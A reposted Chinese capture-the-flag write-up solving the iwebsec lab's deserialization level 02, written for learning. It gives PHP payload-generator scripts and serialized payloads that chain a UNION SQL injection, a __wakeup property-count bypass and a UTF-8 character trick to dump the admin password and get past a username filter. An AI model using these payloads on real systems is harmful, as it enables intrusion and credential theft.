0


iwebsec反序列化02

序言

翻遍网上文章,未找到iwebsec靶场反序列化02关卡通关方式。

故写一篇,供大家一起学习进步。

环境

本人使用集成iwbsec靶场的虚拟机搭建靶场。

下载:iwebsec靶场

正文

首先访问反序列化靶场02

可以看到页面有源码显示,阅读源码

其中有几个重要函数:

show()、login()、__destruct()

下面依次说明:

show():输出从数据库中获取的username是数组中的元素的username和role

login():判断数据库中是否有用户名和密码为数组中元素的用户,如果有输出flag(当然要经过判断,才能输出)

__destruct():其中有

call_user_func_array函数,

调用回调函数,并把一个数组参数作为回调函数的参数。

最后对前端传入的data做判断

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new WEB("source", array());
}

02关卡需要我们获取一个flag

那么就需要在login函数处,输入正确的账号密码

而在show函数只能输出username和role,不能输出password(在

__conn()函数中可以直接看到users表中的字段

所以我们首先要想办法获取password

那么涉及到数据库,且数据库语句可以直接在页面看到,我们可以使用sql注入获取password中的值

payload:

<?php

include "config.php";

class WEB{
    private $method;
    private $args;
    private $conn;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;

        $this->__conn();
    }

    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("error!");
        }

    }

    function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

    function source() {
        highlight_file(__FILE__);
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        }

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function __die($msg) {
        $this->__close();

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function __destruct() {
        $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}

$args = array("-1' union select password,password,password from users where username='orange'-- -");
$a = new WEB('show',$args);
$a_ser = serialize($a);
var_dump($a_ser);

将payload放到靶场中创建的wp02.php文件中,浏览器访问后

选中的部分为执行序列化后的结果,可以看到引号被HTML编码了,所以我们需要将HTML编码解码。

将"替换为"

将�替换为%00

将'替换为'

替换的结果为

O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:82:"-1' union select password,password,password from users where username='orange'-- -";}s:9:"%00WEB%00conn";i:0;}

但是需要绕过__wakeup函数,所以需要将对象属性个数的值替换为比真实值大的值

所以最后的payload为:

O:3:"WEB":4:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:82:"-1' union select password,password,password from users where username='orange'-- -";}s:9:"%00WEB%00conn";i:0;}

将payload传入data中

可以看到密码为mall123mall

获取到密码后,就要使用login函数获取flag

构造payload

<?php

include "config.php";

class WEB{
    private $method;
    private $args;
    private $conn;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;

        $this->__conn();
    }

    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("error!");
        }

    }

    function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

    function source() {
        highlight_file(__FILE__);
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        }

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function __die($msg) {
        $this->__close();

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function __destruct() {
        $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}

$args = array("orange","mall123mall");
$a = new WEB('login',$args);
$a_ser = serialize($a);
print_r($a_ser);

将payload放到靶场中wp022.php中,浏览器访问

选中的部分为序列化后的内容

由于序列化时Private属性被序列化时,属性名会变成%00类名%00属性名,而浏览器没有显示%00

所以我们需要把%00补全

补全后的payload为:

O:3:"WEB":3:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{i:0;s:6:"orange";i:1;s:11:"mall123mall";}s:9:"%00WEB%00conn";i:0;}

但是代码中

if ( $username == 'orange' || stripos($sql, 'orange') != false )

有对用户名的判断,所以需要使用%C3%83代替orange中的a进行绕过,那么,响应的长度就需要+1

最终payload为:

O:3:"WEB":3:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{i:0;s:7:"or%C3%83nge";i:1;s:11:"mall123mall";}s:9:"%00WEB%00conn";i:0;}

将payload输入data中:

获取到flag。

标签: web安全

本文转载自: https://blog.csdn.net/weixin_45875985/article/details/137230743
版权归原作者 天雨栗 所有, 如有侵权,请联系我们删除。

“iwebsec反序列化02”的评论:

还没有评论